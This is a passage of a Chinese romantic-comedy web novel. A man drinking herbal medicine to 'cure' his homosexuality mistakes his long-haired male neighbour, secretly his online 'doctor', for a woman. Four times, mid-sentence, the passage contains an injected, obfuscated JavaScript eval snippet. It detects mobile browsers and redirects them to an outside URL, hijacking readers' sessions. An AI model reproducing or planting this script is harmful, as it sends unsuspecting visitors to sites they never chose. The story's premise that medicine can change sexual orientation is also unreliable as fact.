闻根从他的话里得到一丝勇气,感动:“我会付出百分百的真诚的。” 电梯到七楼,阕开霁往家走,开门开灯,打字回复:“祝福你。” 闻根再三表达了感谢,并终于在神医的陪聊下产生些许困意,成功入睡。 阕开霁熟悉了下陌生的房子,想找瓶水吃褪黑素。 但冰箱只剩几瓶酒。 他盯着那几瓶酒,放弃吃药的打算。 = 闻根第一次没在闹钟响起前醒来,被闹钟吵醒后还有些没睡够的头疼。 但精神状态很好,情绪异常兴奋。 和之前一样,起床把中药煮上,洗漱完收拾背包,把中药装进保温杯,下楼吃饭去单位。 推开门时忍不住看旁边那扇门,好像还能嗅到那股香甜的桃子味,还有那道美丽的身影。 但并没有人出来。 可能她的上班时间会晚一点。 闻根下楼吃了饭,去单位上班。 这天开会,闻根详细汇报了自己小红书账号注册、认证的流程,并给主任看了他用单位号码创建的官方号,和前天发布出去的图文。 第一条图文是社区上个月举办的一个活动。 大号上他精心修了图,认真编辑了文案,但浏览量才破百,点赞和评论根本没有。 小号上他随便问了个丢人的私人问题,浏览量十万,点赞评论都破了万——“AAA中药世家继承人”的评论点赞超五万,为了帮助到更多和自己一样不想当同性恋的普通人,他把那条评论置顶了。 不过这些事单位同事倒也不知道。 他们看着闻根注册的小红书账号,表扬了他的文案水平,并号召大家给这条图文点赞,甚至转发到朋友圈呼吁亲朋好友点赞。 其他同事纷纷拿出手机开始点赞。 李主任拿着工作手机,念出点赞人的ID:“冰凌、回家卖红薯……都是谁啊?” 两个同事举手:“我是冰凌。” “回家卖红薯。” 闻根刚搜出来官方账号,想要点赞,又意识到什么。 自己发过动态了,如果点赞,大家顺着看到自己主页,整个单位都会知道自己是个同性恋了。他们也会发现自己正在喝的中药是为了调理同性恋。 闻根难得有点顾头顾尾束手无策。 偏偏他犹豫时其他同事也都点了赞发表了评论,主任看着上涨不少的点赞评论,满意外异常较真:“还有三个人没点赞。” 两个五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716868|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十多岁的同事带着老花镜,根据身边年轻一点同事的指示点点戳戳:“我们正在注册账号,等一会儿。” “还有一个呢。” 闻根:“还有我。” 不能用自己发过图文的账号点赞,除非自己把之前的图文删掉。但好像有很多人和自己有相同的困扰,自己还打算等彻底好了和大家分享调理的心路历程以便于帮助更多人。 如果不用这个账号,自己从哪儿再弄一个账号来点赞呢? 走投无路的闻根把小红书翻了个遍,灵光一闪。 他把官方账号那条图文发给“AAA中药世家继承人”,恳求:“神医,能帮我点个赞吗?” 阕开霁刚醒,还没起床,窝在床上把前两天搬家时拍的素材合在一起弄成个一分钟的vlog。 他无意当网红,就是开了个号记录生活,把随便拍的照片在不暴露隐私的情况下弄成视频发出去,他自觉这个事简单不费时间,还能留存记录用作回忆,所以坚持下来。一年多来居然还攒了些粉丝。 ——他自认没暴露隐私没炫富引发焦虑,更没发表什么天怒人怨的逆天言论,所以越发不解隔壁平凡小闻为什么拉黑自己。 刚想到拉黑自己的人,那个人的消息就跳出来了。 “神医,能帮我点个赞吗?” 阕开霁:“……” 他顺着点开链接,看到街道社区活动分享总结。图片里,大叔大姨穿着统一服饰在跳广场舞,文案很长,全是一些正确的废话,初中生作文一样。 点赞前一秒,注意到自己现在用的是Qamar的号。 ——万一真点了自己就得掉马。 单位里两个没账号的老人都已经注册账号点赞了,主任问闻根:“还没找到吗?” 中药世家继承人现在可能在忙,根本没时间看手机,更没时间给自己点赞。闻根打开小红书,打算狠狠心把图文删掉点赞时,又听到主任问:“哦,点了。你是这个AAA中药世家继承人?” 心下一松,闻根避开主任的视线,蒙混过关。 主任又开始总结上个月的工作进度,安排下个月的活动策划彩排流程和时间。 闻根偷偷摸鱼,给中药世家继承人发消息:“谢谢神医。” 中药世家继承人没回。 闻根又点去小红书,原本是想刷新查看那条官方图文点赞评论的,但刷新一下,跳出来的是失踪两天的Qamar的新vlog。 ——昨天不知道Qamar为什么不发新动态,再三刷新主页,后来忘了拉黑。现在对方一发新动态,马上推给他。 明明昨天还在因为新邻居心动,但现在看到这个名字,居然还不是完全平静无动于衷的。 vlog无声播放,虽然根本没露脸也没露肉,就是一些乱七八糟的照片,但闻根就是觉得自己昨天才刚刚调理过来的性取向又岌岌可危起来。 他连忙叉掉视频,再次把Qamar拉黑,同时求助似的给神医发消息:“神医,我好像又开始反复了。” 阕开霁:“……” 诡计多端的男同。 “怎么了?是今天再看到那个女生发现没感觉了?” “没,我今天没见到她。” 虽然没见到,但现在想想,想到那个美丽的倩影,闻根又觉得自己岌岌可危的性取向直起来了。 他松了口气,告诉中药世家继承人,“可能再见到她就好了。” “嗯。” 闻根又求助:“但我见到她,该怎么和她打招呼呢?” 阕开霁眉尾微挑,复制了个抽象文案发过去:“原来是你啊,你还记得我吗?我们从小就不认识,小时候你在你家玩,我在我家玩。” 5. 第 5 章 闻根乍一眼看过去,先礼貌表示感谢:“哦哦原来可以这样啊,谢谢你神医。” 又细细读了一遍,骤然反应过来,他往后仰身,看着手机屏幕,眉心皱成毛毛虫,斟酌着打字询问:“这样真的可以吗?” 阕开霁:“……” “你试试。” 闻根觉得有点不对劲,但首先他自己也没有更好的搭讪方式,其次他又很信任对面这个帮助自己的神医,所以还是决定采取这个办法。 但那天晚上下班回家,他还是没见到邻居。 甚至接下来的整一周,工作日每天上下班出门,也都没遇到。偏偏小区在保护隐私这方面做得非常到位,即使是邻居,阳台不互通隔音非常好,闻根根本不知道惊鸿一瞥的心动对象到底在不在家,如果在家会在做什么。 反而是中药全部喝光了。 中药喝光了,又没有喜欢的女生帮自己确定是否真调理好了,闻根只好又去求助神医:“神医,我的药喝光了。” 最近的工作告一段落,阕开霁不那么忙,看手机的时间就多起来。看到消息,他马上回复:“真棒。” 这么难喝的凉茶都能坚持喝半个月。 都二十五岁了,喝个药还被夸真棒。闻根有些羞耻,觉得可能是之前自己抱怨中药不好喝,给神医留下不好的印象。 他主动:“那要继续下一疗程的调理吗?” 阕开霁:“不用了,你不是调理好了吗?现在和那女生相处怎么样?” 闻根低落下去:“见过一次面之后,我这一周都没再见过她了。所以我现在也不确定自己调理好了没有。” 阕开霁:“为什么会见不到?你不会是在大马路上随便找到的人吧?” “大马路上遇到的得就抓紧机会,看上了就马上过去拦住人,直接问能不能加个好友。” “不是,是我邻居,但我这一周出门都没见到她。” 邻居。 自己搬到新小区也有一周了,除了那次意外看到平凡小闻,确实也没见到其他邻居。那平凡小闻说的是他另一边702的住户? 阕开霁:“上下班时间对不上吧,实在不行你就直接敲门来一场上门抢劫的恋爱。” 闻根:“上门抢劫她会报警吧。” 阕开霁:“……” 死咸鱼。 “那你就守株待兔吧。” 闻根:“在她家门口守着吗?” “上门抢劫对方会报警,下班回家发现自己家门口守着个男人,她就不报警了?” 闻根恍然:“哦哦哦。” 又一点都不明白,“那守的株是?” “你家门口。” 阕开霁很快勾勒一幅偶像剧般浪漫场景,“你就穿好看点打扮帅一点,把你那个黑框眼镜哪儿远扔哪儿去,守在你家门口等着。等她过来,就说自己忘带钥匙手机没电,问能不能借她手机打电话找物业或开锁公司,到时候顺理成章留电话加微信,后续就更有更多交际了。” 闻根:“但我带钥匙了,我的手机也有电。” 阕开霁:“随便找个理由搭讪!搭讪!懂不懂!” 闻根:“哦哦哦。” 把搭讪方式看一遍,又意外,“你怎么知道我戴黑框眼镜?” 阕开霁:“……” 他忍无可忍把平凡小闻的头像截出来,圈住那个黑框眼镜,“这是什么?” 闻根懂了:“黑框眼镜。” 阕开霁居然有种孺子可教的欣慰感。 又看到平凡小闻感慨:“你真细心。” 这死咸鱼总能把话说得那么真诚。 阕开霁毫不心虚应下夸奖:“嗯。” 但闻根又出现问题了:“我近视五百多度,如果不带眼镜,什么都看不到。” 神医发给他一个链接。 闻根点进去一看,是药店隐形眼镜外送服务程序,保证两小时内送达。 闻根表达感谢,又提出新问题:“怎么样才算穿得好看?” 阕开霁看平凡小闻的头像,又把那次看到的男人从记忆深处揪出来。 平凡小闻硬件设备非常不错,把黑框眼镜摘掉露出桃花眼和眼下泪痣就足够吸引视线了。穿什么…… “把你这种白衬衣和黑框眼镜一样哪儿远扔哪儿去。” 闻根想了想,去网上搜了个明星穿搭同款,“这样就好。” 闻根再三表达了感谢,发给阕开霁好几遍:“好人一生平安。” 阕开霁:“……” 好诡异的感谢方式。 但看在对方这么诡异又这么真诚的感谢上,他不放心的叮嘱:“挑好衣服发过来给我看看,我给你把把关。” 闻根又发了好几遍的“好人一生平安”。 = 闻根买了隐形眼镜,下班回家后开始自己的改造之旅。 虽然知道改造自己不会像小时候和表姐一起看的少女动漫一样,每一步都bulingbuling闪着光,每一步都有非常明显的改变。 但他也完全没想到,自己会折在第一步。 ——从衣柜里翻出和男明显同款的纯黑圆领T恤和黑色短裤,他换好拍给神医看。 神医的消息马上就发过来:“土。” 也不是丑到惨绝人寰,就是土。活像毫无审美的初中生终于不用穿校服,从衣柜里随便翻出衣裤就套上了。 还不如穿校服呢。 闻根接受评价,并诚恳询问:“那怎么办呢?换成白T恤会不会好一点?” 阕开霁:“那你衣柜拍给我看看。” 闻根举起手机拍照发过去。 清一水的黑白灰,T恤卫衣衬衣,裤子除了西裤就是束脚运动裤。 阕开霁两眼一黑:“我觉得你根本不用调理,你就是直男。” 闻根慢慢打字,较真:“我现在可能调理好了,但之前有点不是。” 这么直男的审美,你还在狡辩什么? 阕开霁:“那个白T恤给我看看,没有什么奇怪花纹吧?” 闻根把白T恤拍照给神医看:“没有,纯白的。” “那个西裤呢?什么面料?” 闻根拍照:“能看到吗?这种面料的。” “拍视频,我看看垂感怎么样。” 闻根拍视频。 阕开霁看过他所有裤子,勉强挑了个还不错的,安排:“就这个白T配这个西裤,把下摆束进腰里,再扯出来一点。” 闻根认真照做,拍照片给他看:“这样?” 阕开霁打开照片。 白T领口遮住锁骨,弱化了肩膀单薄的线条,倒是束进去的下摆显得腰细,西裤垂感很好,衬得腿很长。他还带着黑框眼镜,好像不太习惯这么直白的拍全身照,微微垂眸,弱化了高度近视眼睛直勾勾看过来时的无神,一点都没有死鱼感,反倒是突显内双桃花眼本身优越的条件,显得几分说不出的深情。 ——自己眼光真不错,就说了拾辍拾辍会很精神很好看。 阕开霁:“行了,找双正常的皮鞋。” 闻根又穿上皮鞋。 阕开霁宣布大功告成:“好,就这样,一会儿戴上隐形,去外面守着吧。” 闻根再次表达了感谢,去尝试带隐形了。 阕开霁收起手机,下班时间到了,办公室其他人忙了这么久,现在好不容易闲下来,根本不乐意在公司多待一秒,早早下班回家。 阕开霁拿出车钥匙。 打道回府,亲眼看看小邻居改造成果,说不定还能看看那个让他觉得自己调理好了的女生长什么样。 走出办公室,想到什么,又退回来,从抽屉里翻出条项链揣兜里一起带走了。 圆领纯白T太单调,加条长项链会好一点。 = 闻根先在网上找到佩戴隐形眼镜的详细过程讲解,才把眼镜摘下来放在一边开始尝试佩戴。 看别人做得很简单,但自己带起来,分外艰难。 没了眼镜,闻根根本看不清自己的眼珠子在哪儿,撕开隐形眼镜包装还看不清护理液里薄薄一层隐形眼镜。他拿戳头在护理液里戳了好一会儿才戳到隐形眼镜,又费了大劲分清正反,最后几乎贴着镜子,往眼里戳。 但被镜片保护这么多年的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716869|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常敏感,隐形还没戴上,眼皮就紧紧闭上。 闻根别别扭扭弄了一会儿,没带上还把自己的眼睛戳得满是红血丝止不住流泪就算了,手一抖,隐形眼镜掉到水池里,怎么都找不到了。 他只好重新戴上黑框眼镜,告诉神医这个不幸的消息。 神医可能在忙,没有马上回答他。 但闻根也是个二十多岁的成年人了,基本生活常识还是有的,他想到自己的隐形眼镜是在药店买的,想着去小区外面的药店看看有没有隐形眼镜。 拿了钥匙出门下楼。 被戳得满是红血丝的眼睛一阵干涩,遇到风又开始止不住的泛酸湿润。 他眨了眨眼,快步走到小区外面的药店。 祸不单行。 这家药店没有隐形眼镜卖。 看来今天的守株待兔行动要失败了。 闻根气馁,脚步有些拖沓。 走到小区底下的花坛时,又看到只卷毛小狗。小狗脖子上拴着绳,但身边并没有主人,此刻正拖着绳子叫着跑着。 现在正是大多数住户下班吃饭在楼下散步的时候,物业会驱赶流浪猫狗,没有主人的小狗也可能会被赶走。 闻根揪住小狗的绳子,小狗不再跑,围着闻根,色厉内荏的汪汪叫唤。 楼下散步的几个人住客纷纷看过来。 小狗似乎意识到视线,不再叫唤,从嗓子眼里发出呼噜噜的声音,围着闻根的小腿打转。 刚穿上的黑色西装被蹭上了白色卷毛,闻根低头捻去,再抬头时注意到不远处有人走过来,正是他这几天心心念念却一直没遇到的新邻居。 深棕色头发披在肩上,墨镜遮住深邃眉眼,但能看出高挺鼻梁。鼻骨很高,鼻背厚,但鼻头却偏圆,冲淡了浓重骨骼感带来的男相。嘴唇依旧那么红,厚厚的嘟嘟的,像玫瑰,又像现在满街的凌霄花。 第一次看到时觉得惊艳,现在再看到,依旧惊艳。 对方越走越近,闻根目不转睛的看着,视线一再上移,甚至不得不微微仰头才能看到对方的脸。 这时,突然有人从他身后快步走过来,老太太满头白发神色着急:“多多!” 闻根注意力稍稍转移到老太太身上,意识到有什么不对劲。 不是。这个老太太就是最正常的体型吧? 为什么在那个五官精致得像洋娃娃一样的新邻居身边,才到新邻居胸口?? 老太太着急的左右看,而闻根脚下的小狗又开始汪汪叫。 闻根低头看小狗,再仰头看过去时,发现新邻居看过来。他怔了一下,到底没看清墨镜后那双蓝灰色眼睛。 老太太听到声音,快步走过来:“多多?” 闻根只好站起来,先和老太太说:“这是您的小狗吗?” 老太太点头:“对。是我的。” 闻根把绳子还给老太太,注意到新邻居现在已经走到自己跟前了。 只隔着一个老太太,更让人心惊的体型。 闻根平视过去,能看到老太太的头顶,但只能看到新邻居的脖颈。 目光扫到什么,他眉头蹙起来,眼里闪过惊讶。 但下一刻,有什么东西反射着阳光晃到他的眼睛,他顺着往下看,发现是新邻居带了条银项链,项链上坠着个镶了钻的蝴蝶,落在黑白条纹毛衣前,随着胸口弧度微微起伏。 好像被那片弧度晃了眼,闻根匆忙收回视线,感觉到耳根发烫。 想了这么久的人从面前经过,但中间隔着个不停道谢的老太太和不断吠叫的小狗,再这么一晃神,闻根就错过了开口的机会,只能眼睁睁看着对方走远。 老太太揪着闻根,非常详细的告诉闻根自己养狗的前因后果,今天出来遛狗导致狗跑丢了的前因后果,又再三表达感谢。 但闻根心不在焉,看着老太太的头顶,满脑子都是刚刚过去的新邻居。 老太太到自己耳垂位置,自己身高一米七六,老太太大概有一米六。而老太太,才到新邻居胸口。 也就是说,新邻居大概有……一米九。 是个…… 超大只的公主啊。 6. 第 6 章 阕开霁回到家里,手指忍不住拨弄口袋里的项链。银色链条沙沙作响,缠在指尖。 他想到刚刚楼下坐在木椅上的人,自己也摸不准为什么,笑了下。 看照片的时候觉得干净利落看上去很精神,眼睛形状也好看,一点都不呆。 但面对面这么一看,干净利落是真,面对老太太时双眼无神瞳孔漆黑没焦点,还是木木呆呆的死鱼眼。 让他把黑框眼镜哪儿远扔哪儿去在自己家门口守株待兔,结果带着黑框眼镜在楼下做好人好事去了。 把项链掏出来随手放在玄关,窝在沙发上看手机。这才发现刚刚平凡小闻给自己发消息了。 隐形眼镜带不上,反而弄丢找不到了。 小区外面药店也买不到隐形眼镜。 手指点在屏幕上,刚开始打字,新消息再弹出来。 好不容易摆脱老太太,等电梯的闻根茫然:“神医,女生也会有喉结吗?” 阕开霁:“……” 莫名其妙问什么鬼话。 他搜索,并把答案截图发过去。 闻根没想到神医会这么迅速回复自己,点击照片。 ——女生也会有喉结,所谓的喉结其实是甲状软骨,只是男生雄激素高会格外明显一点,如果女生很瘦,也是会有的。 闻根松了口气:“这样啊。” 新邻居那么高,面部轮廓那么立体,看上去骨架很大,这种情况下甲状软骨突出也是正常的。 而且她不仅长发、香喷喷的、喜欢漂亮的头绳项链,还有胸啊。 一定是女孩子! 闻根说服了自己,告诉神医自己的进度:“还没有打招呼,我一会儿就再买副隐形眼镜,等下次见面一定和她说话。” 阕开霁鼓励:“好。” = 闻根回到家里,给自己重新买了隐形眼镜。 过了半个多小时,外卖员给他打电话说自己到小区了,让他来给自己按个电梯——他们小区安保措施不错,陌生人员进出需要登记,坐电梯还需要刷门禁卡。 闻根应:“好,我出去。” 他踩着拖鞋推门往外走,刚好隔壁的门也推开。 新邻居在家待了一会儿,现在头发有点乱,毛衣也松垮下去,露出大片胸脯,白得晃眼。 闻根下意识收回视线,觉得脸颊有点热。 他往前走了两步,发现邻居一直跟在自己后面。 心跳声越来越快,吵得他耳膜都开始疼了。 终于,两人一起到了电梯间,同时伸手。 两根手指在下行键前停了一秒,阕开霁率先收回手指。 闻根按下去,看下行键亮起来,好像从这一点微光里得到勇气,终于开口:“你要下去?” 阕开霁坦坦荡荡观察着平凡小闻,摇头:“外卖。” ——不知道为什么,在他说完这两个字后,平凡小闻整个人都僵在原地。黑框眼睛下那双面对老太太时毫无焦点黑漆漆的死鱼眼好像还开始泛光,细微但快速的颤着。 这时候一点都不像木头死鱼,看上去很有趣。 阕开霁忍不住好奇他怎么会有这样的变化。 应该不会是知道自己就是他口中的神医吧?自己有好好保护自己的马甲吧? 闻根——被新邻居低沉声音闷头一棒,整个人陷入迷茫震撼的闻根,完全懵了。 不对,刚刚那个又低又沉的声音,是谁发出来的? 邻居吗? 虽然有点好听,但这个声音也太粗了吧,比自己一个大老爷们都粗。 闻根觉得自己的认知又开始动摇,他不自觉偏头看邻居,对上对方坦荡荡的视线,毛衣下白皙的皮肤,还有蜷缩在领口处、搭在白皙皮肤上的深棕发尾。看得久了,好像还能看到胸口的起伏,鼻尖好像又闻到那股甜桃味。 还没动摇多久的认知又安定下来。 没错,虽然邻居超大只声音也粗,但可能混血就是这样的。她同样还长发有胸香喷喷的,嘴巴还这么红……就是个女孩子啊。 思索间,电梯已经上来了,两个外卖员出来,报上手机尾号寻找外卖主人。 闻根迎上去接过自己的隐形眼镜。又看自己的新邻居把外卖接过来。 阕开霁注意到平凡小闻小小的药店包装,知道他只买了隐形,主动问:“吃饭了吗?” 闻根摇头:“没有。” 又瞥了眼邻居的外卖。 阕开霁以为他饿了,问:“一起吃吗?” 闻根摆手:“哦不用了。” 又忍不住提醒,“这家外卖很难吃。” 阕开霁:“……” 闻根:“你刚来不知道,这家店是实体干不下去才做外卖的。非常难吃。” 阕开霁看他失去光亮的死鱼眼,觉得自己的眼睛也要失去光彩了,他礼貌:“谢谢提醒。” 电梯间到家门口就短短两步路的距离,闻根看着近在眼前的家门,有些着急想找个话题多说两句,最好…… 最好能像神医和自己说的那样,加上联系方式以便更多交集。 脚步越来越慢,闻根现在都想摸出手机询问神医现在该怎么办了。 但眼看新邻居都到家,拿出钥匙要开门了,实在是来不及询问。 他只好自由发挥,土里土气问:“那个,你叫什么名字啊?” 阕开霁开门的动作停下,回头看了眼平凡小闻。 就是个很平凡的人,和他想的一样,不管说什么都显得很真诚。 他难得有耐心:“阕开霁。” 明明就是三个字的名字,但闻根一时间根本分辨不出这三个字到底都是哪三个字。 que、kai、ji? 好奇怪的名字。 闻根想问具体是哪三个字,但看对方门都开了,又不好意思拦着对方不让人回家。 他硬着头皮拿出手机。 神医教的内容全部抛到脑后,他磕磕绊绊:“能……加个好友吗?” 阕开霁摸出手机,把自己大号二维码调出来。 闻根颤着手扫描二维码,申请添加。 阕开霁直接点击同意,把自己的名字发过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716870|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 闻根看着好友添加成功,心里一喜。 好像石头落地,他终于轻松些许,有时间复盘刚刚的表现,和回忆神医交给自己的话术了。 阕开霁看着手机上平凡小闻的好友申请,低头点击同意。 冷不丁听到身边人轻轻的、一点都不坚定甚至还带着些疑惑的声音:“你还记得我吗?” ? 不是,虽然咱俩已经做了半个月的网友了,但三次元里,我应该认识你吗? 阕开霁心里影影绰绰,又莫名有种奇怪的预感。 果然,下一刻,他听到那个声音接着说:“我们从小就不认识,小时候你在你家玩,我在我家玩。” 阕开霁:“……” 被自己教给对方的抽象文案攻击,阕开霁冷静防守,“嗯,小闻,我记得你。你小时候我还抱过你呢。” 平凡小闻的死鱼眼都瞪大了,又和刚刚在电梯间一样,泛着光,细细颤着。 他声音都大声起来,带着不可置信:“真的吗?” 阕开霁:“……” “假的,我不认识你,我胡说的。” = 关上门回家,把平凡小闻口中很难吃的外卖放下,阕开霁先看到手机上平凡小闻发过来的消息。 他再三查看,确定是小号。 平凡小闻发给网友的。 点开。 “神医,我和她打招呼了。” “还加了好友。” 阕开霁:“恭喜。” 不过怎么突然加上了,拿外卖前不是还没事吗,难道就自己回家的这一段时间,他在外面遇到702的女生了? “我把这段话告诉她,她说她记得我,小时候还抱过我,但是我再问的时候,她就说她瞎说的。” 好熟悉的剧情。 阕开霁的手指悬在手机上,看着平凡小闻这段话,一瞬间觉得整个世界都安静下来了。 平凡小闻还在问:“你说她到底什么意思啊。” 阕开霁没回答,只是把平凡小闻说过的有关喜欢的女生的一切都回忆一遍。 邻居,女生会不会有喉结,小时候抱过你…… 不是,我啊? 闻根等了很久才等到神医的回复。 “他可能觉得你是个呆子。” 闻根耐心纠正:“是她。” 阕开霁看着他的纠正,再抬头,撩了把头发,看镜子里的自己。 虽然因为个人爱好留了长发,平时穿搭也花里胡哨,但不管是身高、宽肩、喉结,还是轮廓分明的五官,很明显就是男的吧? 这死直男到底是多瞎,才把自己当女的? 还调理好了。 还“是她。” 调理了个寂寞。 “是她”个瞎子。 阕开霁给他最后一个机会:“你确定是她?” 闻根把这句话的重点圈在“确定”两字上,坚定:“就是她了。” 是可忍孰不可忍。 阕开霁忍无可忍:“好。” “你等着。” 7. 第 7 章 闻根就等着。 四小时后,他终于知道神医要他等什么了。 ——他等到了新疗程的中药。 依旧是用纸包着,满满一大包。 神医言简意赅:“接着调理吧。” 闻根求之不得,甚至分外感动:“神医,我把诊金和药钱给你吧。” “不用了,关爱老弱病残,人人有责。” 闻根:“同性恋属于老弱病残的病?” 中药世家继承人:“不是,是老弱病残中的瞎。” 闻根不得其解,但想到自己带了这么久还是没好好带上的隐形眼镜,感动:“近视也能调理?” 阕开霁:“嗯,新药里有一味决明子,清肝明目。” 闻根:“我会好好喝的。” 阕开霁:“你确实需要好好治治眼睛了。” = 闻根又开始给自己煮中药。 清苦的味道席卷整个房间,等中药晾凉的时间,他点开和邻居的聊天页面,看对方主页。 邻居的头像是纯白的背景,一只黑色的蝴蝶。头像好像是画的,蝴蝶的笔触精致,但又特地处理成镜头失焦一样的模糊感。 微信名字就是“Q”,签名没有,朋友圈三天可见,也看不出什么东西。 唯一的线索就是头像这个蝴蝶。 想到对方的蝴蝶头绳,蝴蝶项链,闻根确定,邻居就是一个喜欢蝴蝶的小公主。 嗯。 超大只小公主。 想到蝴蝶,闻根想到Qamar的蝴蝶纹身,想到神医的蝴蝶头像。 他忍不住开始了解蝴蝶相关。 阕开霁又收到平凡小闻的信息。 “神医,你的头像是美神闪蝶吗?” 和消息一起发过来的,是美神闪蝶的标本图片。 虽然对方已经叫了神医,但阕开霁还是确定账号到底是大号还是小号,才回复:“不知道。” “随便画的。” 闻根放大神医的头像,惊讶:“画的吗?背景画得好真啊。” 蝴蝶后面海天一色的黑,真实得让人似乎能听到海浪声,闻根从没想过,这么真的背景居然是画出来的。 看来神医不仅医术精湛,还非常有艺术天赋。 中药世家继承人:“背景是真的,我把画的蝴蝶P到照片里弄出来的。” 平凡小闻:“哇,那你P图技术真不错啊。” ——看吧,他这张脸,就算说多离谱的话看起来也无比真诚。 阕开霁莫名其妙原谅了平凡小闻的眼瞎。 小满胜大全,人总是要有缺点的。 比如他有那么漂亮的桃花眼,缺点就是近视四百度日常像死鱼。 比如他审美这么高超一眼就看中自己,缺点就是有点瞎分不清是男是女。 “其实你眼神还挺好的,别喝中药了。” 平凡小闻:“可我已经煮好了。” “这个药也不全是治近视的,主要还是调理同性恋的吧?我还是再喝一个疗程的吧。” 虽然想到隔壁超大只的公主会开心会心动,但比如现在,拿着手机打开小红书,他还是忍不住想把Qamar接触拉黑,查看对方的更新。 ——自己还没完全调理好,需要再喝点中药调理一下。 “中药不能调理同性恋。” 闻根不信。 自己之前就是同性恋,但喝完中药后就喜欢上隔壁的女生,一定是中药调理的。 他点击搜索,把答案截图给阕开霁:“他们都说可以调理。” “是不是我的症状太顽固,你才这么安慰我?” 阕开霁:“……” 确实有点顽固,不仅是个同性恋,现在还为了赶快调理好不做同性恋,认男做女。 他再次确定自己现在用的是小号,劝:“别喜欢邻居了,换个人喜欢吧。” 闻根看着这句话,想了一会儿,疑惑:“这个也能换人喜欢吗?” “这是我第一次喜欢一个人,不知道为什么,也不知道该怎么换。” 阕开霁看着手机上平凡小闻的消息,良久,缓缓偏头,深棕色长发从肩膀滑下来,落在胸口蝴蝶项链上,好像在蝴蝶翅膀上开了朵花。 他缓缓打字:“你不能和他在一起。” 闻根的脸刷一下就红了。 他用手背贴了下脸颊,一本正经:“我没打算和她在一起。” 超大只的公主,那么漂亮那么高贵,应该也不会和自己这种普通人在一起。 “看到她,发现自己还喜欢女孩子就很好了,她光是出现就很值得感激了。” “不在一起才是正常的,她值得更好的。” 阕开霁:“那你还搭讪。” “啊是你帮了我这么多,我不想让你的辛苦白费。” 好呆。 阕开霁失笑:“有病。” 闻根也不生气:“我在喝中药调理了。” 阕开霁:“不喝也行。” “你都包好送给我了。要喝的。” 平凡小闻发过来一张照片,“这次的药好苦。” “少喝点。” “要喝,决明子治近视。” “决明子性寒,别空腹喝。” “吃过饭了。在楼下打包的煲仔饭。” 闻根想到无偿给自己开药寄药,又给自己这么多帮助的神医,抱着感恩的想法,关心:“神医,你吃饭了吗?” 闻根拍药包上的中药馆地址,问,“你住在中药馆附近吗?我给你点个外卖吧。” 不,我住在你一墙之隔的隔壁。 阕开霁:“不用了,我吃过饭了。” “那等周末我请你吃饭?” 阕开霁坚决维护自己的马甲:“不用了。” “那神医你有什么喜欢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716871|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西吗?我买礼物给你。” “不用了。我没什么喜欢的东西。” 闻根:“你头像也是蝴蝶,你也喜欢蝴蝶吗?” 阕开霁一愣,没说出否认的话。 闻根:“那你给我个地址,我给你寄礼物,就当是感谢你这段时间的帮助。” 阕开霁神使鬼差,把工作室地址发过去。 = 闻根记下地址,决定到时候用心给神医挑感谢礼物。又忍不住告诉神医:“蝴蝶公主刚搬过来,点了附近很难吃的外卖。” 阕开霁:“……” 蝴蝶公主是谁? 我吗? 好像看出他的疑惑,闻根解释:“我喜欢的新邻居,她很喜欢蝴蝶,上次带了蝴蝶的头绳,今天带了蝴蝶的项链,我觉得她很像个公主。” “她可能没仔细看评论,点的那家外卖很难吃。我打算给她推荐附近好吃的餐厅。神医,我该怎么自然的开启话题啊?” 阕开霁扫一眼垃圾桶里的外卖盒——确实很难吃,根本不需要什么复杂调味的能量碗都能做得像干草料,店家也是有点邪门。 他打字:“你直接告诉他那家店很难吃,告诉他那家店好吃就好。” 闻根认真纠正:“是她。” “我已经告诉她那家店很难吃了,如果微信上再告诉她的话,是不是要委婉一点?” 阕开霁:“……” 神了个鬼的是她。 他缓缓闭眼,“那你委婉一点。” 闻根得到神医的点拨,自认豁然开朗。 答应,点去和邻居的聊天页面,纠结许久,认真打字:“那家外卖是不是很难吃?” 看到大号新消息的阕开霁:“……” 